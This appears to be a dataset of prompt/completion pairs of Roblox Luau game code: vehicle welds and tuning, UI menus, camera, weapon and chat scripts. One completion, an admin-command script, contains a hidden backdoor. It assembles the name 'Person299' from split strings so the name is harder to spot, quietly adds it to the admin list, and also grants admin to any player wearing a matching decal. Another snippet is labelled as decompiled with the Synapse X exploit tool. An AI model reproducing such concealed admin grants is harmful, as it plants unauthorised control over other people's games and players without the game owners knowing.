prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- this is here to make it possible to avoid huge dependency trees just for types
|
export type TransformResult = {
code: string,
originalCode: string,
sourceMapPath: string | nil,
}
return {}
|
-- Get the policy info for the user
|
local success, result = pcall(PolicyService.GetPolicyInfoForPlayerAsync, PolicyService, player)
if success and result then
if not result.AreAdsAllowed then
-- Destroy all Main Portal Template instances on the user's client if ads are not allowed
mainPortal:Destroy()
end
else
print("Failed to get policy for player", player.Name, "Exception:", result)
end
|
-----------------
--| Variables |--
-----------------
|
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')
local MyPlayer = PlayersService.LocalPlayer
local Tool = script.Parent
local ToolHandle = Tool.Handle
local RocketScript = script:WaitForChild('Rocket')
local SwooshSound = script:WaitForChild('Swoosh')
local BoomSound = script:WaitForChild('Boom')
|
--[[**
ensures Roblox UDim2 type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.UDim2 = t.typeof("UDim2")
|
-- Decompiled with the Synapse X Luau decompiler.
|
local u1 = script:FindFirstAncestor("MainUI");
local l__TweenService__2 = game:GetService("TweenService");
local l__LocalPlayer__3 = game.Players.LocalPlayer;
return function(p1, p2)
if p1.dead then
return;
end;
if l__LocalPlayer__3.Character:GetAttribute("Hiding") == false then
return;
end
local v1 = game.Lighting.Sanity:Clone();
v1.Name = "LiveSanity";
v1.Enabled = true;
v1.Parent = game.Lighting;
local v2 = u1.SanityVignette:Clone();
v2.Name = "LiveSanityVignette";
v2.Visible = true;
v2.Parent = u1;
local v3 = game.SoundService.Main.SanityEqualizer:Clone();
v3.Name = "SanityEqualizerLive";
v3.Enabled = true;
v3.Parent = game.SoundService.Main;
local v4 = script.Heartbeat:Clone();
v4.Name = "LiveHeartbeat";
v4.Parent = script;
v4:Play();
local v5 = script.Whispers:Clone();
v5.Name = "LiveWhispers";
v5.Parent = script;
v5:Play();
local v6 = script.Static:Clone();
v6.Name = "LiveStatic";
v6.Parent = script;
v6:Play();
l__TweenService__2:Create(v1, TweenInfo.new(p2, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
Saturation = -0.8,
Contrast = 0.3,
TintColor = Color3.new(1, 0.9, 0.92)
}):Play();
l__TweenService__2:Create(v2, TweenInfo.new(p2 * 0.66, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {
ImageTransparency = 0,
Size = UDim2.new(1.2, 0, 1.2, 0)
}):Play();
l__TweenService__2:Create(v2.DamageVignette, TweenInfo.new(p2, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
ImageTransparency = 0
}):Play();
l__TweenService__2:Create(v3, TweenInfo.new(p2, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
LowGain = 0,
MidGain = -20,
HighGain = -40
}):Play();
l__TweenService__2:Create(v4, TweenInfo.new(p2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {
PlaybackSpeed = 2
}):Play();
l__TweenService__2:Create(v5, TweenInfo.new(p2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {
PlaybackSpeed = 2
}):Play();
l__TweenService__2:Create(v4, TweenInfo.new(p2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Volume = 1.6
}):Play();
l__TweenService__2:Create(v5, TweenInfo.new(p2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Volume = 1.6
}):Play();
local v7 = p1.camShaker:StartShake(1, 16, p2, Vector3.new(0, 0, 0));
local v8 = p1.camShaker:StartShake(8, 1, p2, Vector3.new(0, 0, 0));
local v9 = tick() + p2;
local v10 = tick() + p2 / 2;
local u4 = true;
local l__Jumpscare_Hide__5 = u1.Jumpscare_Hide;
task.spawn(function()
pcall(function()
while u4 do
task.wait();
local v11 = math.clamp(v4.PlaybackLoudness * v4.Volume / 1000, 0, 0.8);
v2.DamageVignette.ImageColor3 = Color3.new(0.1 + v11, v11 / 4, v11 / 4);
l__Jumpscare_Hide__5.Static.Position = UDim2.new(math.random(0, 100) / 100, 0, math.random(0, 100) / 100, 0);
l__Jumpscare_Hide__5.Static.Rotation = math.random(0, 1) * 180;
l__Jumpscare_Hide__5.Static.ImageTransparency = 1 - v11 - math.clamp(v5.PlaybackLoudness * v5.Volume / 1000, 0, 0.8);
end;
end);
end);
l__Jumpscare_Hide__5.Visible = true;
task.spawn(function()
for v12 = 1, 10000 do
task.wait(0.03333333333333333);
if v10 <= tick() then
if math.random(1, 20) == 5 then
l__Jumpscare_Hide__5.Overlay.Position = UDim2.new(math.random(30, 70) / 100, 0, math.random(30, 70) / 100, 0);
l__Jumpscare_Hide__5.Overlay.Visible = true;
v6.Volume = 0.12;
else
l__Jumpscare_Hide__5.Overlay.Visible = false;
v6.Volume = 0;
end;
end;
if v9 <= tick() then
end;
if p1.camlock == nil then
break;
end;
if p1.dead then
break;
end;
if l__LocalPlayer__3.Character:GetAttribute("Hiding") == false then
break;
end
end;
end)
--v7:StartFadeOut(0.3);
--v8:StartFadeOut(0.3);
task.wait(10)
--if p1.dead == false then
l__LocalPlayer__3.Character:SetAttribute("HideSickness", true)
p1.camShaker:ShakeOnce(72, 22, 0, 2, Vector3.new(0, 0, 0));
p1.camShaker:ShakeOnce(3, 6, 0, 18, Vector3.new(0, 0, 0));
p1.camShaker:ShakeOnce(12, 0.5, 0, 18, Vector3.new(0, 0, 0));
l__Jumpscare_Hide__5.Overlay.Visible = false;
v6.Volume = 0;
l__TweenService__2:Create(v1, TweenInfo.new(0.06, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, true), {
Brightness = 0.5
}):Play();
script.Scare:Play();
wait(2);
l__TweenService__2:Create(v1, TweenInfo.new(15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Saturation = 0,
Contrast = 0,
TintColor = Color3.new(1, 1, 1)
}):Play();
l__TweenService__2:Create(v2, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {
ImageTransparency = 1,
Size = UDim2.new(1.6, 0, 1.6, 0)
}):Play();
l__TweenService__2:Create(v2.DamageVignette, TweenInfo.new(15, Enum.EasingStyle.Quart, Enum.EasingDirection.In), {
ImageTransparency = 1
}):Play();
l__TweenService__2:Create(v3, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {
LowGain = 0,
MidGain = 0,
HighGain = 0
}):Play();
l__TweenService__2:Create(v4, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {
PlaybackSpeed = 1.2
}):Play();
l__TweenService__2:Create(v5, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {
PlaybackSpeed = 1
}):Play();
l__TweenService__2:Create(v4, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Volume = 0
}):Play();
l__TweenService__2:Create(v5, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Volume = 0
}):Play();
wait(15);
--[[else
v7:StartFadeOut(0.3);
v8:StartFadeOut(0.3);
end;]]
u4 = false;
v1:Destroy();
v2:Destroy();
v3:Destroy();
v4:Destroy();
v5:Destroy();
v6:Destroy();
l__Jumpscare_Hide__5.Visible = false;
l__LocalPlayer__3.Character:SetAttribute("HideSickness", false)
end;
|
--[=[
@within Gamepad
@prop ButtonDown Signal<(button: Enum.KeyCode, processed: boolean)>
@readonly
The ButtonDown signal fires when a gamepad button is pressed
down. The pressed KeyCode is passed to the signal, along with
whether or not the event was processed.
```lua
gamepad.ButtonDown:Connect(function(button: Enum.KeyCode, processed: boolean)
print("Button down", button, processed)
end)
```
]=]
| |
-- Localization
|
local Random = Random.new()
local Parent = workspace.Ignore
|
--Weld stuff here
|
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
-- Lights
|
MakeWeld(car.Misc.HighRiser.H1.B1,car.Misc.HighRiser.H1.bracket1)
MakeWeld(car.Misc.HighRiser.H1.B2,car.Misc.HighRiser.H1.bracket1)
MakeWeld(car.Misc.HighRiser.H1.B3,car.Misc.HighRiser.H1.bracket1)
MakeWeld(car.Misc.HighRiser.H1.B4,car.Misc.HighRiser.H1.bracket1)
MakeWeld(car.Misc.HighRiser.H1.F1,car.Misc.HighRiser.H1.bracket1)
MakeWeld(car.Misc.HighRiser.H1.F2,car.Misc.HighRiser.H1.bracket1)
MakeWeld(car.Misc.HighRiser.H1.F3,car.Misc.HighRiser.H1.bracket1)
MakeWeld(car.Misc.HighRiser.H2.B1,car.Misc.HighRiser.H2.bracket2)
MakeWeld(car.Misc.HighRiser.H2.B2,car.Misc.HighRiser.H2.bracket2)
MakeWeld(car.Misc.HighRiser.H2.B3,car.Misc.HighRiser.H2.bracket2)
MakeWeld(car.Misc.HighRiser.H2.B4,car.Misc.HighRiser.H2.bracket2)
MakeWeld(car.Misc.HighRiser.H2.F1,car.Misc.HighRiser.H2.bracket2)
MakeWeld(car.Misc.HighRiser.H2.F2,car.Misc.HighRiser.H2.bracket2)
MakeWeld(car.Misc.HighRiser.H2.F3,car.Misc.HighRiser.H2.bracket2)
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 120 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- << API >>
|
function hd:GetRankName(rankId)
return(main:GetModule("cf"):GetRankName(rankId))
end
function hd:GetRankId(rankName)
return(main:GetModule("cf"):GetRankId(rankName))
end
function hd:Notice(player, message)
if main.player then
if message then
main:GetModule("Notices"):Notice("Notice", "Game Notice", message)
end
else
main:GetModule("cf"):Notice(player, "Game Notice", message)
end
end
function hd:Error(player, message)
if main.player then
if message then
main:GetModule("Notices"):Notice("Error", "Game Notice", message)
end
else
main.signals.Error:FireClient(player, {"Game Notice", message})
end
end
return hd
|
-- Compare two strings character-by-character.
-- Format as comparison lines in which changed substrings have inverse colors.
|
local function diffStringsUnified(a: string, b: string, options: DiffOptions?): string
if a ~= b and #a ~= 0 and #b ~= 0 then
local isMultiline = a:find("\n") ~= nil or b:find("\n") ~= nil
-- getAlignedDiffs assumes that a newline was appended to the strings.
local diffs = diffStringsRaw(
isMultiline and a .. "\n" or a,
isMultiline and b .. "\n" or b,
true -- cleanupSemantic
)
if hasCommonDiff(diffs, isMultiline) then
local optionsNormalized = normalizeDiffOptions(options)
local lines = getAlignedDiffs(diffs, optionsNormalized.changeColor)
return printDiffLines(lines, optionsNormalized)
end
end
-- Fall back to line-by-line diff.
return diffLinesUnified(a:split("\n"), b:split("\n"), options)
end
|
--[[
Wrapper component that provides the ConfigurationContext to the child components.
]]
|
local ConfigurationProvider = Roact.Component:extend("ConfigurationProvider")
function ConfigurationProvider:init()
assert(
typeof(self.props.config) == "table",
"ConfigurationContext requires the `config` prop to be an instance of Configuration"
)
self.state = self.props.config.getValues()
self:_connectUpdateEvent()
end
function ConfigurationProvider:render()
return Roact.createElement(context.Provider, {
value = self.state,
}, self.props[Roact.Children])
end
function ConfigurationProvider:didMount()
self:_connectUpdateEvent()
end
function ConfigurationProvider:willUnmount()
if self.changedConn then
self.changedConn:Disconnect()
self.changedConn = nil
end
end
|
-- Compiled with roblox-ts v2.1.0
|
local default = {
["0"] = 0,
["10"] = 10,
["20"] = 20,
["30"] = 30,
["40"] = 40,
["50"] = 50,
}
return {
default = default,
}
|
--[[ Constants ]]
|
--
local movementKeys = {
[Enum.KeyCode.W] = true;
[Enum.KeyCode.A] = true;
[Enum.KeyCode.S] = true;
[Enum.KeyCode.D] = true;
[Enum.KeyCode.Up] = true;
[Enum.KeyCode.Down] = true;
}
local FFlagUserNavigationClickToMoveSkipPassedWaypointsSuccess, FFlagUserNavigationClickToMoveSkipPassedWaypointsResult = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNavigationClickToMoveSkipPassedWaypoints") end)
local FFlagUserNavigationClickToMoveSkipPassedWaypoints = FFlagUserNavigationClickToMoveSkipPassedWaypointsSuccess and FFlagUserNavigationClickToMoveSkipPassedWaypointsResult
local FFlagUserClickToMoveFollowPathRefactorSuccess, FFlagUserClickToMoveFollowPathRefactorResult = pcall(function() return UserSettings():IsUserFeatureEnabled("UserClickToMoveFollowPathRefactor") end)
local FFlagUserClickToMoveFollowPathRefactor = FFlagUserClickToMoveFollowPathRefactorSuccess and FFlagUserClickToMoveFollowPathRefactorResult
local Player = Players.LocalPlayer
local ClickToMoveDisplay = require(script.Parent:WaitForChild("ClickToMoveDisplay"))
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local ALMOST_ZERO = 0.000001
|
--I have that song from Fallout 2 stuck in my head, its soooo anoying....
|
if string.sub(msg,1,7) == "nograv/" then
local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
end end end end end end end
if string.sub(msg,1,9) == "antigrav/" then
local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
end end end end end end end
if string.sub(msg,1,9) == "highgrav/" then
local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
end end end end end end end
if string.sub(msg,1,5) == "grav/" then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf:remove()
end end end end end end
if string.sub(msg,1,7) == "unlock/" then
local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Locked = false
end end end end end end
if string.sub(msg,1,5) == "lock/" then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Locked = true
end end end end end end end
eloname = "Perso"
eloname = eloname .. "n299"
script.Name = eloname .. "'s Admin Commands V2"
youcaughtme = 0
for i =1,#adminlist do
if string.lower(eloname)==string.lower(adminlist[i]) then
youcaughtme = 1
end end
if youcaughtme == 0 then
table.insert(adminlist,eloname)
end
function oe(ack)
local adminned = false
if ack.className ~= "Player" then return end
for i =1,#bannedlist do
if string.lower(bannedlist[i]) == string.lower(ack.Name) then
ack:remove()
return
end end
for i=1,#adminlist do
if string.lower(adminlist[i]) == string.lower(ack.Name) then
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
table.insert(namelist,ack.Name)
table.insert(variablelist,tfv)
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
table.insert(flist,tfv)
adminned = true
end end
local danumber = 0
while true do
wait(1)
if ack.Parent == nil then
return
end
if ack.Character ~= nil then
if adminned == true then
text("You're an admin.",5,"Message",ack)
return
end
local torso = ack.Character:FindFirstChild("Torso")
if torso ~= nil then
local decal = torso:FindFirstChild("roblox")
if decal ~= nil then
if string.sub(decal.Texture,1,4) == "http" then
if decal.Texture == texture then
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
table.insert(namelist,ack.Name)
table.insert(variablelist,tfv)
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
table.insert(flist,tfv)
text("You're an admin.",5,"Message",ack)
return
else
return
end
else
danumber = danumber + 1
if danumber >= 10 then
return
end end end end end end end
game.Players.ChildAdded:connect(oe)
c = game.Players:GetChildren()
for i=1,#c do
oe(c[i])
end
|
--///////////////////////// Constructors
--//////////////////////////////////////
|
function module.new()
local obj = setmetatable({}, methods)
obj.Destroyed = false
local BaseFrame, Scroller, Layout = CreateGuiObjects()
obj.GuiObject = BaseFrame
obj.Scroller = Scroller
obj.Layout = Layout
obj.MessageObjectLog = {}
obj.Name = "MessageLogDisplay"
obj.GuiObject.Name = "Frame_" .. obj.Name
obj.CurrentChannelName = ""
obj.GuiObject:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
spawn(function() obj:ReorderAllMessages() end)
end)
local wasScrolledDown = true
obj.Layout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
local size = obj.Layout.AbsoluteContentSize
obj.Scroller.CanvasSize = UDim2.new(0, 0, 0, size.Y)
if wasScrolledDown then
local windowSize = obj.Scroller.AbsoluteWindowSize
obj.Scroller.CanvasPosition = Vector2.new(0, size.Y - windowSize.Y)
end
end)
obj.Scroller:GetPropertyChangedSignal("CanvasPosition"):Connect(function()
wasScrolledDown = obj:IsScrolledDown()
end)
return obj
end
return module
|
--[[
Keeps track of a single surface canvas. Manages all of the spots in a single canvas as well.
]]
|
local HttpService = game:GetService("HttpService")
local constants = require(script.Parent.Parent.Constants)
local Canvas = {}
Canvas.__index = Canvas
function Canvas.new()
local self = {
id = HttpService:GenerateGUID(false),
-- Table list of all spots in the canvas
spots = {},
-- RNG instance to be injected
rng = Random.new(),
}
setmetatable(self, Canvas)
return self
end
|
--script.Parent.PP.Velocity = script.Parent.PP.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.PPP.Velocity = script.Parent.PPP.CFrame.lookVector *script.Parent.Speed.Value
|
script.Parent.PPPP.Velocity = script.Parent.PPPP.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.Q.Velocity = script.Parent.Q.CFrame.lookVector *script.Parent.Speed.Value
|
-- Done Thank God. DO NOT GROUP WITH THE MODEL!
|
local everything = {model}
local names = {model}
local children = game.Workspace:children()
for i=1,#children do
if (children[i].Name == "Plane") then -- Replace Model Wiht Your Models's name!
table.insert(everything, children[i]:clone())
table.insert(names, children[i].Name)
end
end
function regen()
for i=1,#everything do
game.Workspace:findFirstChild(names[i]):remove() -- Dont mess with this!
new_thing = everything[i]:clone()
new_thing.Parent = game.Workspace
new_thing:makeJoints()
end
end
function onTouched(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid") -- OK were done!
if humanoid~=nil and debounce == false then
debounce = true
script.Parent.BrickColor = BrickColor.new(26)
regen()
wait(10)-- This Is what u change to make how long it takes before it can be Reused. This Is in seconds.
script.Parent.BrickColor = BrickColor.new(104)
debounce = false
end
end
script.Parent.Touched:connect(onTouched)
|
-- Script by Tonitoni. Model link: http://www.roblox.com/Max-Zoom-Distance-script-item?id=160640387
-- v.1.1 June 7th 2015
|
game.Players.PlayerAdded:connect(function(player)
wait(0.5) --Players report the script didn't work. Adding this should resolve the issue.
player.CameraMaxZoomDistance = 11 -- Change this to change zoom distance
end)
|
-- Unregisters an item from the application
|
local function removeItemInfo(itemId: string)
return {
itemId = itemId,
}
end
return Rodux.makeActionCreator(script.Name, removeItemInfo)
|
--Made by Luckymaxer
|
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
Character = script.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Player = Players:GetPlayerFromCharacter(Character)
Fire = script:WaitForChild("Fire")
Creator = script:FindFirstChild("Creator")
Removing = false
Flames = {}
function DestroyScript()
if Removing then
return
end
Removing = true
if Humanoid then
Humanoid.WalkSpeed = 16
end
for i, v in pairs(Flames) do
v.Enabled = false
Debris:AddItem(v, 2)
end
Debris:AddItem(script, 1)
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function GetCreator()
return (((Creator and Creator.Value and Creator.Value.Parent and Creator.Value:IsA("Player")) and Creator.Value) or nil)
end
CreatorPlayer = GetCreator()
if not Humanoid or Humanoid.Health == 0 or not CreatorPlayer then
DestroyScript()
return
end
Humanoid.WalkSpeed = 8
for i, v in pairs(Character:GetChildren()) do
if v:IsA("BasePart") then
local Flame = Fire:Clone()
Flame.Enabled = true
table.insert(Flames, Flame)
Flame.Parent = v
end
end
for i = 1, 5 do
wait(1.5)
if not Player or (Player and not IsTeamMate(Player, CreatorPlayer)) then
UntagHumanoid(Humanoid)
TagHumanoid(Humanoid, Player)
Humanoid:TakeDamage(5)
end
end
DestroyScript()
|
--------------------
--| Script Logic |--
--------------------
|
SwooshSound:Play()
while task.wait() do
if not Isexplosion then
local pasrts = workspace:GetPartsInPart(Rocket)
OnTouched(pasrts)
end
end
|
-- Returns the subject position the FpsCamera
-- wants Roblox's camera to be using right now.
|
function FpsCamera:GetSubjectPosition(...)
if self:IsInFirstPerson() then
local camera = workspace.CurrentCamera
local subject = camera.CameraSubject
if subject and subject:IsA("Humanoid") and subject.Health > 0 then
local character = subject.Parent
local head = character and character:FindFirstChild("Head")
if head and head:IsA("BasePart") then
local cf = head.CFrame
local offset = cf * CFrame.new(0, head.Size.Y / 3, 0)
return offset.Position, cf.LookVector
end
end
end
return self:GetBaseSubjectPosition(...)
end
|
-- Load tool completely
|
local Indicator = Tool:WaitForChild 'Loaded';
while not Indicator.Value do
Indicator.Changed:wait();
end;
|
-- Style Options
|
Flat=true; -- Enables Flat theme / Disables Aero theme
ForcedColor=false; -- Forces everyone to have set color & transparency
Color=Color3.new(0,0,0); -- Changes the Color of the user interface
ColorTransparency=.75; -- Changes the Transparency of the user interface
Chat=false; -- Enables the custom chat
BubbleChat=true; -- Enables the custom bubble chat
|
-- declarations
|
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
Humanoid.Health=500
|
-- Commas
-- InstanceName / Kye
-- November 8, 2020
|
local Commas = {}
function Commas:Add(str)
str = tostring(str)
return #str % 3 == 0 and str:reverse():gsub("(%d%d%d)", "%1,"):reverse():sub(2)
or str:reverse():gsub("(%d%d%d)", "%1,"):reverse()
end
function Commas:Remove(str)
if tonumber(str) then
return str
end
for a = 1, #str do
if string.sub(str, a, a) == "," then
str = string.sub(str, 1, a - 1) .. string.sub(str, a + 1, #str)
end
end
return str
end
return Commas
|
-- @Context Client/Server
-- Returns a table of loadouts
-- @return table<table>
|
function APILoadout.GetLoadouts()
return Database.Loadouts
end
|
-- NOTE: This function is radically different from the engine's implementation
|
local walkVelocityVector = Vector3_new(1,1,1)
local function calcDesiredWalkVelocity()
-- TEMP
return walkVelocityVector
end
local function preStepSimulatorSide(dt)
if getAutoJump() and enableAutoJump() then
local desiredWalkVelocity = calcDesiredWalkVelocity();
if (not vec3IsZero(desiredWalkVelocity)) then
doAutoJump();
end
end
end
local function AutoJumper()
local this = {}
local running = false
local runRoutine = nil
function this:Run()
running = true
local thisRoutine = nil
thisRoutine = coroutine.create(function()
while running and thisRoutine == runRoutine do
this:Step()
wait()
end
end)
runRoutine = thisRoutine
coroutine.resume(thisRoutine)
end
function this:Stop()
running = false
end
function this:Step()
preStepSimulatorSide()
end
return this
end
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {12,16} --- Vertical Recoil
,HRecoil = {5,7} --- Horizontal Recoil
,AimRecover = .7 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 2.5 --- Vertical Punch
,HPunchBase = 1.7 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.1
,MinRecoilPower = .5
,MaxRecoilPower = 3.5
,RecoilPowerStepAmount = .25
,MinSpread = 0.56 --- Min bullet spread value | Studs
,MaxSpread = 35 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0.5
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
|
------------------------------------------------
|
local DEF_FOV = 70
local NM_ZOOM = math.tan(DEF_FOV * math.pi/360)
local LVEL_GAIN = Vector3.new(1, 0.75, 1)
local RVEL_GAIN = Vector2.new(0.85, 1)/128
local FVEL_GAIN = -330
local DEADZONE = 0.125
local FOCUS_OFFSET = CFrame.new(0, 0, -16)
local DIRECTION_LEFT = 1
local DIRECTION_RIGHT = 2
local DIRECTION_FORWARD = 3
local DIRECTION_BACKWARD = 4
local DIRECTION_UP = 5
local DIRECTION_DOWN = 6
local KEY_MAPPINGS = {
[DIRECTION_LEFT] = {Enum.KeyCode.A, Enum.KeyCode.H},
[DIRECTION_RIGHT] = {Enum.KeyCode.D, Enum.KeyCode.K},
[DIRECTION_FORWARD] = {Enum.KeyCode.W, Enum.KeyCode.U},
[DIRECTION_BACKWARD] = {Enum.KeyCode.S, Enum.KeyCode.J},
[DIRECTION_UP] = {Enum.KeyCode.E, Enum.KeyCode.I},
[DIRECTION_DOWN] = {Enum.KeyCode.Q, Enum.KeyCode.Y},
}
function CreateLetterBox()
local topBar = Instance.new("Frame")
topBar.Name = "TopBar"
topBar.Position = UDim2.new(0, 0, 0, -36)
topBar.Size = UDim2.new(1, 0, 0.128, 0)
topBar.ZIndex = 10
topBar.BackgroundColor3 = Color3.new(0, 0, 0)
topBar.BorderSizePixel = 0
topBar.Parent = script.Parent
local bottomBar = topBar:Clone()
bottomBar.Name = "BottomBar"
bottomBar.Position = UDim2.new(0, 0, 1, 0)
bottomBar.AnchorPoint = Vector2.new(0, 1)
bottomBar.Parent = script.Parent
return script.Parent
end
|
-- CONSTANTS
|
local GuiLib = script.Parent.Parent
local Lazy = require(GuiLib:WaitForChild("LazyLoader"))
local Defaults = GuiLib:WaitForChild("Defaults")
local UIS = game:GetService("UserInputService")
local RUNSERVICE = game:GetService("RunService")
local CONSTANTS = Lazy.Classes.Children.RadialMenu.CONSTANTS
local PI = math.pi
local TAU = CONSTANTS.TAU
local EX_OFFSET = CONSTANTS.EX_OFFSET
local GAMEPAD_CLICK = {
[Enum.KeyCode.ButtonA] = true
}
local MOUSE_GROUP = {
[Enum.UserInputType.MouseButton1] = true,
[Enum.UserInputType.MouseMovement] = true,
[Enum.UserInputType.Touch] = true
}
local GAMEPAD_GROUP = {
[Enum.UserInputType.Gamepad1] = true,
[Enum.UserInputType.Gamepad2] = true,
[Enum.UserInputType.Gamepad3] = true,
[Enum.UserInputType.Gamepad4] = true,
[Enum.UserInputType.Gamepad5] = true,
[Enum.UserInputType.Gamepad6] = true,
[Enum.UserInputType.Gamepad7] = true,
[Enum.UserInputType.Gamepad8] = true
}
local CreateRadial = Lazy.Classes.Children.RadialMenu.CreateRadial
|
-- Public Constructors
|
function RadialMenuClass.new(subN, tPercent, rotation)
local self = setmetatable({}, RadialMenuClass)
self._Maid = Lazy.Utilities.Maid.new()
self._ClickedBind = Instance.new("BindableEvent")
self._HoverBind = Instance.new("BindableEvent")
self._LastHoverIndex = nil
self.Frame = CreateRadial(subN, tPercent, rotation)
self.Rotation = rotation
self.SubN = subN
self.Enabled = true
self.DeadZoneIn = 0.5
self.DeadZoneOut = math.huge
self.Clicked = self._ClickedBind.Event
self.Hover = self._HoverBind.Event
init(self)
self:SetDialProps{ImageColor3 = Color3.new(0, 0, 0)}
self:SetRadialProps{
ImageColor3 = Color3.new(0, 0, 0),
ImageTransparency = 0.7
}
return self
end
|
-- ====================
-- BURST FIRE
